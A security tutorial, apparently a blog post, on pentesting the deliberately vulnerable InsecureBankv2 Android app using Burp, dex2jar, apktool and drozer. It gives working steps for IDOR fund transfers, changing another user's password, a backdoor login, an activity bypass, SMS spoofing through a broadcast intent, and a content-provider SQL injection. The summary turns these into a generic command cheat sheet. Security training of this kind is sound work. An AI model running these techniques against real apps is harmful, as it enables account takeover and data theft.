Hello everybody. In this tutorial we’re going to reverse engineer a vulnerable android app, find all vulnerabilities and create a report.
Tools
We will use the following tools:
- 1. https://github.com/pxb1988/dex2jar
- 2. https://github.com/skylot/jadx
- 3. https://ibotpeaches.github.io/Apktool
- 4. https://github.com/appium-boneyard/sign
- 5. https://portswigger.net/burp
- 6. https://github.com/FSecureLABS/drozer
I won’t cover installation of all of the tools, only tricky ones.
Creating a virtual device
We should create an android virtual device without google play and google services in order to be able to get access to all file system folders of the device.
Run android studio (v2020.3.1
in my case) and open AVD manager. Click on Create Virtual Device
, then select a device without Google Play, for example Nexus S
:
Hit Next
. Now select x86 images
tab and select android version without Google APIs:
Hit Next
. Set AVD Name
, in my case it is gonna be Rooted
and hit Finish
.
Installing drozer
Drozer consists of 2 parts: console app and android app. To install the console app I had to run apt install drozer
on my linux machine.
Open https://labs.f-secure.com/tools/drozer/ and download the drozer agent apk file on your local computer. Run your newly created android emulator. Create an empty android app in android studio. In android studio open Device File Explorer
and upload drozer agent apk to Download
folder, in my case the path was /storage/emulated/0/Download
:
In the android emulator open Files => Downloads
and install drozer agent. Run the drozer agent apk. Now you should forward ports so that you could connect to the drozer app from your local machine. Run adb forward tcp:31415 tcp:31415
. In the android drozer app click the ON
button at the bottom of the screen. Now open the console on your local computer and run drozer console connect
. You should be connected to the drozer app:
Installing insecurebankv2
In this section we will install a vulnerable android app from this repo: https://github.com/dineshshetty/Android-InsecureBankv2 . Run git clone https://github.com/dineshshetty/Android-InsecureBankv2
. Now go to the AndroLabServer
folder which has a server side code and install all of the requirements via pip install -r requirements.txt
. Run python app.py
to run the server. Server backend was written with python 2 so I actually had to run python2 app.py
.
Now in the project directory find the file InsecureBankv2.apk
. This is our vulnerable android app. Using device file explorer in android studio upload this file to the Download
folder and install the app the same way you earlier installed the drozer app.
Now open the insecure bank app. In the preferences screen set the server ip to 10.0.2.2
(android proxies request from this ip to your local machine) and server port to 8888
:
The insecure bank app has the following presaved user credentials:
dinesh/Dinesh@123$
jack/Jack@123$
Now try to login with the credentials above. You should be able to login and see server request in the console:
Setting up burp suite
In this section we will set up a burp suite to intercept requests from the android app to the server. Open burp suite, in my case I’m using Burp Suite Community Edition v2021.8.2
, select Proxy
tab, hit Intercept
button to disable request interception, then select Options
and add a new proxy for all interfaces on port 8081
:
Now in the burp suite in the Proxy
tab hit the Intercept
tab. Then click on the Open browser
button. Built-in burp browser should be opened. In the web address input type burp
and hit enter
. You should see the following screen:
Click on the CA Certificate
button on the top right corner and download burp certificate. Rename the downloaded certificate from cacert.der
to cacert.cer
as android does not understand the der
extension. Upload certificate to the device using device file explorer in android studio. Now in android emulator open Settings
=> Network & internet
=> Wi-Fi
=> Wi-Fi preferences
=> Advanced
=> Install certificates
, select burp’s certificate from the Download
folder => set any name and VPN and apps
for credential use => OK
. You should see your certificate in Settings
=> Security
=> Encryption & credentials
=> Trusted credentials
=> User
tab:
Now get your local ip address. Run ifconfig
:
In my case it is 192.168.0.105
.
In android emulator open Settings
=> Network & internet
=> Wi-Fi
=> Cogs icon
=> Edit icon
=> Advanced options
=> set your ip address in proxy hostname
and port 8081
(the one from burp) and click Save
:
Now you should be able to intercept requests from insecure bank app to the server. In burp enable the Intercept
toggler in the Proxy
tab. Open insecure bank app, in the preferences screen set server ip
to your local ip and server port
to 8888
(the one where python server is running). Try to login. Request should be intercepted in burp:
API issues
In this section we will go through all API requests made by the insecure bank app to check for available issues. Login to the app using any of the presaved accounts and check all the screens and app features.
User enumeration
Try to login with a non existing user:
1 2 3 4 5 6 7 8 |
POST /login HTTP/1.1 Content-Length: 35 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=invalid_user&password=1234 |
You will get the following server response:
1 |
{"message": "User Does not Exist", "user": "invalid_user"} |
Server tells us that the user does not exist. It means that we can try to brute force all available logins. Server should respond with a more general error like Invalid credentials
.
Transfer issue
Login with a dinesh
account and try to make a funds transfer. You will see the following request:
1 2 3 4 5 6 7 8 |
POST /dotransfer HTTP/1.1 Content-Length: 85 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=dinesh&password=Dinesh%40123%24&from_acc=888888888&to_acc=666666666&amount=1 |
Now login with a jack
account and try to make a funds transfer. You will see the following request:
1 2 3 4 5 6 7 8 |
POST /dotransfer HTTP/1.1 Content-Length: 81 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=jack&password=Jack%40123%24&from_acc=999999999&to_acc=555555555&amount=1 |
So dinesh
has account number 888888888
and jack
has account number 999999999
. If you login from jack
account and set dinesh
account number in From Account
field in transfer screen then jack
will transfer funds from dinesh
account instead of his own:
1 2 3 4 5 6 7 8 |
POST /dotransfer HTTP/1.1 Content-Length: 81 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=jack&password=Jack%40123%24&from_acc=888888888&to_acc=555555555&amount=1 |
Server response:
1 |
{"to": "555555555", "message": "Success", "from": "888888888", "amount": "1"} |
Password issue
Login with the dinesh
account and try to update a password. You will see the following request:
1 2 3 4 5 6 7 8 |
POST /changepassword HTTP/1.1 Content-Length: 41 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=dinesh&newpassword=12345678qQ%40 |
If you intercept the request and change the username
to jack
then you will be able to update password of the jack
account:
1 2 3 4 5 6 7 8 |
POST /changepassword HTTP/1.1 Content-Length: 41 Content-Type: application/x-www-form-urlencoded Host: 192.168.0.105:8888 Connection: close User-Agent: Apache-HttpClient/UNAVAILABLE (java 1.4) username=jack&newpassword=12345678qQ%40 |
Server response:
1 |
{"message": "Change Password Successful"} |
Decompiling using dex2jar
Create a new folder wip
, inside the wip
folder create a new folder source
and put the InsecureBankv2.apk
file there. From a wip
folder, using your own paths to dex2jar
tool, run sh /home/vladimir/Public/program_files/dex2jar-2.0/d2j-dex2jar.sh -f source/InsecureBankv2.apk
. You should see the InsecureBankv2-dex2jar.jar
file appear in the wip
folder.
Now open jadx-gui
and select InsecureBankv2-dex2jar.jar
. You should the source java code of the app:
Decompiling using apktool
Now run apktool d source/InsecureBankv2.apk
. You should see the InsecureBankv2
folder with all app resource files and smali code:
Source code issues
Admin backdoor
Take a look at the com.android.insecurebankv2.DoLogin
at the following code in postData()
method:
1 2 3 4 5 6 7 |
if (DoLogin.this.username.equals("devadmin")) { httpPost2.setEntity(new UrlEncodedFormEntity(arrayList)); execute = defaultHttpClient.execute(httpPost2); } else { httpPost.setEntity(new UrlEncodedFormEntity(arrayList)); execute = defaultHttpClient.execute(httpPost); } |
You can see that if the username equals devadmin
then the request goes to some other API method. Try to login with devadmin
username and empty password. You should be able to successfully login.
Hidden content
Take a look at the com.android.insecurebankv2.LoginActivity
at the following code in onCreate()
method:
1 2 3 |
if (getResources().getString(R.string.is_admin).equals("no")) { findViewById(R.id.button_CreateUser).setVisibility(8); } |
You can see that there is some button that is hidden when the resource string is_admin
equals no
. Open the decompiled InsecureBankv2
folder, the open res/values/strings
.xml file. Find the is_admin
string and change it to yes
. Now build the app via apktool b InsecureBankv2
and sign it via the sign tool, in my case the command is java -jar /home/vladimir/Public/program_files/sign-1.0.jar InsecureBankv2/dist/InsecureBankv2.apk
. You should see a new signed apk InsecureBankv2.s.apk
in the InsecureBankv2/dist
folder. Install this signed apk via adb install InsecureBankv2/dist/InsecureBankv2.s.apk
. Open the app, you should see that hidden button Create User
is visible now:
Modifying smali code
Basically it is not an issue, I will just show that you can modify smali code to edit app’s source code. When you login you see a screen with a label Device not rooted
:
Let’s modify the source code so that the label is Rooted device
. Take a look at the com.android.insecurebankv2.PostLogin
class at the following method:
1 2 3 4 5 6 7 |
public void showRootStatus() { if (doesSuperuserApkExist("/system/app/Superuser.apk") || doesSUexist()) { this.root_status.setText("Rooted Device!!"); } else { this.root_status.setText("Device not Rooted!!"); } } |
You can see in the 1st condition that if Superuser.apk
exists then the label is set to the Rooted device
. Open smali code of the above class in InsecureBankv2/smali/com/android/insecurebankv2/PostLogin.smali
and find the showRootStatus()
method:
1 2 3 4 5 6 7 8 9 10 11 12 13 |
.method showRootStatus()V .locals 3 .prologue const/4 v1, 0x1 .line 86 const-string v2, "/system/app/Superuser.apk" invoke-direct {p0, v2}, Lcom/android/insecurebankv2/PostLogin;->doesSuperuserApkExist(Ljava/lang/String;)Z move-result v2 if-nez v2, :cond_0 ... other code |
You can see that the v2
register holds the result of the check that the file Superuser.apk
exists. Then if the v2
register is not empty then proceed to condition cond_0
. We don’t have the file Superuser.apk
anywhere so the v2
register will always hold an empty result. All we have to do is modify the condition from “if file Superuser.apk exists”(if-nez v2, :cond_0
) to “if the Superuser.apk file is empty”(if-eqz v2, :cond_0
). So the modified code is:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
.method showRootStatus()V .locals 3 .prologue const/4 v1, 0x1 .line 86 const-string v2, "/system/app/Superuser.apk" invoke-direct {p0, v2}, Lcom/android/insecurebankv2/PostLogin;->doesSuperuserApkExist(Ljava/lang/String;)Z move-result v2 if-eqz v2, :cond_0 ...other code |
Now build the app using the apk tool and sign it(as in the previous step). Install the app and open it. You should see the label Rooted device
:
Insecure cryptography
Take a look at the com.android.insecurebankv2.DoLogin
class. On user login the credentials are saved via the saveCreds()
method:
1 2 3 4 5 6 7 8 9 10 11 |
private void saveCreds(String str, String str2) throws UnsupportedEncodingException, InvalidKeyException, NoSuchAlgorithmException, NoSuchPaddingException, InvalidAlgorithmParameterException, IllegalBlockSizeException, BadPaddingException { SharedPreferences.Editor edit = DoLogin.this.getSharedPreferences("mySharedPreferences", 0).edit(); DoLogin.this.rememberme_username = str; DoLogin.this.rememberme_password = str2; String str3 = new String(Base64.encodeToString(DoLogin.this.rememberme_username.getBytes(), 4)); CryptoClass cryptoClass = new CryptoClass(); DoLogin.this.superSecurePassword = cryptoClass.aesEncryptedString(DoLogin.this.rememberme_password); edit.putString("EncryptedUsername", str3); edit.putString("superSecurePassword", DoLogin.this.superSecurePassword); edit.commit(); } |
You can see that login and password are encrypted via the CryptoClass
and stored to shared preferences. If you take a look at the com.android.insecurebankv2.CryptoClass
you can see that the private key is hard coded directly in the source code. You can get this private key and decrypt login and password as shared preferences are accessible by other apps.
Storage
It is always a good idea to check the data folder of the target app:
Database
Download mydb
SQLite db file to your local machine and open via any database editor. I’m using Valentina Studio
. Sadly there is a single table names
but sometimes you may find a useful information:
Shared preferences
There are also 2 xml files of the shared preferences.
The 1st one mySharedPreferences.xml
is for storing server connection settings:
1 2 3 4 5 |
<?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <string name="serverport">8888</string> <string name="serverip">192.168.0.105</string> </map> |
The 2nd one com.android.insecurebankv2_preferences.xml
stores encrypted login and password:
1 2 3 4 5 |
<?xml version='1.0' encoding='utf-8' standalone='yes' ?> <map> <string name="superSecurePassword">EDlH1wWpNSJyUHf55F31FQ==&#10; </string> <string name="EncryptedUsername">ZGV2YWRtaW4=&#13;&#10; </string> </map> |
But we have already discussed that those credentials can be decrypted as private key is hardcoded in the source code.
Log
You can also check the adb logcat output for some information disclosure. On user login you can see the following line in the adb logcat
:2021-08-31 23:34:36.343 7504-7547/com.android.insecurebankv2 D/Successful Login:: , account=dinesh:Dinesh@123$
Login and password are logged as plain text. Some other apps may read the adb output logs and find out your login and password.
Drozer
General app info
First of all let’s get some more information about the app. Run the drozer console app via drozer console connect
(don’t forget that drozer android client should be up and running on your emulator with forwarded ports as we already discussed in the Installing drozer
section).
Run run app.package.info -a com.android.insecurebankv2
to get some basic info about the app:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 |
dz> run app.package.info -a com.android.insecurebankv2 Package: com.android.insecurebankv2 Application Label: InsecureBankv2 Process Name: com.android.insecurebankv2 Version: 1.0 Data Directory: /data/user/0/com.android.insecurebankv2 APK Path: /data/app/com.android.insecurebankv2-Yv9MN8p3cMS59voDQ3HmGQ==/base.apk UID: 10106 GID: [3003] Shared Libraries: [/system/framework/org.apache.http.legacy.jar] Shared User ID: null Uses Permissions: - android.permission.INTERNET - android.permission.WRITE_EXTERNAL_STORAGE - android.permission.SEND_SMS - android.permission.USE_CREDENTIALS - android.permission.GET_ACCOUNTS - android.permission.READ_PROFILE - android.permission.READ_CONTACTS - android.permission.READ_PHONE_STATE - android.permission.READ_CALL_LOG - android.permission.ACCESS_NETWORK_STATE - android.permission.ACCESS_COARSE_LOCATION - android.permission.READ_EXTERNAL_STORAGE - android.permission.ACCESS_BACKGROUND_LOCATION Defines Permissions: - None |
Now run run app.package.attacksurface com.android.insecurebankv2
to get a list of exported activities, services, broadcast receivers and content providers:
1 2 3 4 5 6 7 |
dz> run app.package.attacksurface com.android.insecurebankv2 Attack Surface: 5 activities exported 1 broadcast receivers exported 1 content providers exported 0 services exported is debuggable |
Activities
To get a list of all activities run run app.activity.info -a com.android.insecurebankv2
:
1 2 3 4 5 6 7 8 9 10 11 12 |
dz> run app.activity.info -a com.android.insecurebankv2 Package: com.android.insecurebankv2 com.android.insecurebankv2.LoginActivity Permission: null com.android.insecurebankv2.PostLogin Permission: null com.android.insecurebankv2.DoTransfer Permission: null com.android.insecurebankv2.ViewStatement Permission: null com.android.insecurebankv2.ChangePassword Permission: null |
You can see that we can open PostLogin
activity bypassing the login screen. Run run app.activity.start --component com.android.insecurebankv2 com.android.insecurebankv2.PostLogin
. Insecure bank app should be opened and you should see the PostLogin
screen. Notice that at the time of executing the command the android drozer client must be opened in the foreground.
Broadcast receivers
To get a list of exported broadcast receivers run run app.broadcast.info -a com.android.insecurebankv2 -i
:
1 2 3 4 5 6 7 |
dz> run app.broadcast.info -a com.android.insecurebankv2 -i Package: com.android.insecurebankv2 com.android.insecurebankv2.MyBroadCastReceiver Intent Filter: Actions: - theBroadcast Permission: null |
Now check the source code of com.android.insecurebankv2.MyBroadcastReceiver
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 |
public void onReceive(Context context, Intent intent) { String stringExtra = intent.getStringExtra("phonenumber"); String stringExtra2 = intent.getStringExtra("newpass"); if (stringExtra != null) { try { SharedPreferences sharedPreferences = context.getSharedPreferences("mySharedPreferences", 1); this.usernameBase64ByteString = new String(Base64.decode(sharedPreferences.getString("EncryptedUsername", null), 0), "UTF-8"); String aesDeccryptedString = new CryptoClass().aesDeccryptedString(sharedPreferences.getString("superSecurePassword", null)); String str = stringExtra.toString(); String str2 = "Updated Password from: " + aesDeccryptedString + " to: " + stringExtra2; SmsManager smsManager = SmsManager.getDefault(); System.out.println("For the changepassword - phonenumber: " + str + " password is: " + str2); smsManager.sendTextMessage(str, null, str2, null, null); } catch (Exception e) { e.printStackTrace(); } } else { System.out.println("Phone number is null"); } } |
You can see that it receives 2 strings: phonenumber
and newpass
. Then it sends a local sms message that the user password was updated. Any other app can call this broadcast receiver and trick the user to open an external url or whatever.
Run run app.broadcast.send --action theBroadcast --extra string phonenumber +123456 --extra string newpass YOUR_NEW_PASSWORD
to send a local reset message sms. You should see a new sms message:
Content providers
To get a list of exported URIs run run app.provider.finduri com.android.insecurebankv2
:
1 2 3 4 5 6 7 8 |
dz> run app.provider.finduri com.android.insecurebankv2 Scanning com.android.insecurebankv2... content://com.android.insecurebankv2.TrackUserContentProvider/ content://com.google.android.gms.games content://com.android.insecurebankv2.TrackUserContentProvider content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/ content://com.google.android.gms.games/ |
To get a list of vulnerable URIs for SQL injection run run scanner.provider.injection -a com.android.insecurebankv2
:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 |
dz> run scanner.provider.injection -a com.android.insecurebankv2 Scanning com.android.insecurebankv2... Not Vulnerable: content://com.android.insecurebankv2.TrackUserContentProvider/ content://com.google.android.gms.games content://com.google.android.gms.games/ content://com.android.insecurebankv2.TrackUserContentProvider Injection in Projection: content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/ Injection in Selection: content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers/ |
You can see that we can inject SQL code in the projection section. Run run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* FROM sqlite_master; --"
to get a list of all available table names:
1 2 3 4 5 |
dz> run app.provider.query content://com.android.insecurebankv2.TrackUserContentProvider/trackerusers --projection "* FROM sqlite_master; --" | type | name | tbl_name | rootpage | sql | | table | android_metadata | android_metadata | 3 | CREATE TABLE android_metadata (locale TEXT) | | table | names | names | 4 | CREATE TABLE names (id INTEGER PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL) | | table | sqlite_sequence | sqlite_sequence | 5 | CREATE TABLE sqlite_sequence(name,seq) | |
Services
Insecure bank app does not export any services but you can find a great “drozer services cheat sheet” here: https://book.hacktricks.xyz/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial#services
CVSS
It is always a good practise to set a CVSS(Common Vulnerability Scoring System) score to any issue that you’ve found. You can open a CVSS calculator at https://www.first.org/cvss/calculator/3.0 and calculate a score.
Let’s take a vulnerable exported broadcast receiver where any app can send an action and the user will see an sms message “your password has been updated” although real password change is not performed.
- – Attack Vector (AV): local (malicious app should be locally installed on user device)
- – Attack Complexity (AC): Low (it is very simple send a malicious android intent)
- – Privileges Required (PR): None
- – User Interaction (UI): Required (user must open a malicious app)
- – Scope (S): Changed (sms message can contain a link to some other service)
- – Confidentiality (C): Low (password is not really updated)
- – Integrity (I): None (password is not really updated)
- – Availability (A): Low (malicious app can spam sms messages)
So we get a medium score: 5.0
Report
When all assessments are done it is time to write a report with all the issues and remediations. You can see an example report here: https://tcm-sec.com/wp-content/uploads/2021/04/TCMS-Demo-Corp-Security-Assessment-Findings-Report.pdf
Summary
This summary is just a shorthand of all the steps and commands:
- 1. Create an android virtual device without Google Play and Google services
- 2. Setup burp
– enable proxy in burp
– in android device setup proxy in wifi settings
– upload and install CA burp suite certificate on android device (open internal burp’s web browser and openburp
address)
– certificate should be visible inSettings => Trusted Credentials
- 3. Using burp suite analyze app’s server requests and responses to find potential flaws
- 4. Decompile apk using
dex2jar
and check decompiled java sources
–sh /home/vladimir/Public/program_files/dex2jar-2.0/d2j-dex2jar.sh -f source/source.com.apk
=> decompile via dex2jar - 5. Decompile apk using
apktool
and check resources (AndroidManifest.xml, xml resources, other files if available)
–apktool d yourapp.apk
=> decompile using apktool - 6. Check app storage:
/data/data/com.android.yourapp
folder, xml files of shared preferences, sqlite db, logcat output - 7. Setup drozer
– install drozer client app on android device
–adb forward tcp:31415 tcp:31415
=> forward drozer ports
–drozer console connect
=> connect to drozer console - 8. Drozer (general app info)
–run app.package.info -a com.android.yourapp
=> get general app info
–run app.package.attacksurface com.android.yourapp
=> get general attack surface - 9. Drozer (activities)
–run app.activity.info -a com.android.yourapp
=> get list of activities
–run app.activity.start --component com.android.yourapp com.android.yourapp.SecureActivity
=> run activity - 10. Drozer (broadcast receivers)
–run app.broadcast.info -a com.android.yourapp -i
=> get info about broadcast receivers
–run app.broadcast.send --action ACTION_NAME --extra string name value --extra string name2 value2
=> send intent with params to broadcast receiver - 11. Drozer (content providers)
–run app.provider.finduri com.android.yourapp
=> get a list of content providers uris
–run scanner.provider.injection -a com.android.yourapp
=> get a list of vulnerable uris
–run app.provider.query content://com.android.yourapp/users --projection "* FROM sqlite_master; --"
=> run SQL injection to list all available table names - 12. Drozer (services)
– https://book.hacktricks.xyz/mobile-apps-pentesting/android-app-pentesting/drozer-tutorial#services - 13. Report
– CVSS score
– High level description with issue and video with potentially great impact
– Step by step guide with screenshots
– Explanation how to remediate the issue
How to reinstall a modified app:
- 1.
apktool d yourapp.apk
- 2. modify smali
- 3.
apktool b yourapp --use-aapt2
(or omit “–use-aapt2”) - 4.
java -jar /home/vladimir/Public/program_files/sign-1.0.jar yourapp/dist/yourapp.apk
- 5.
adb install yourapp/dist/yourapp.s.apk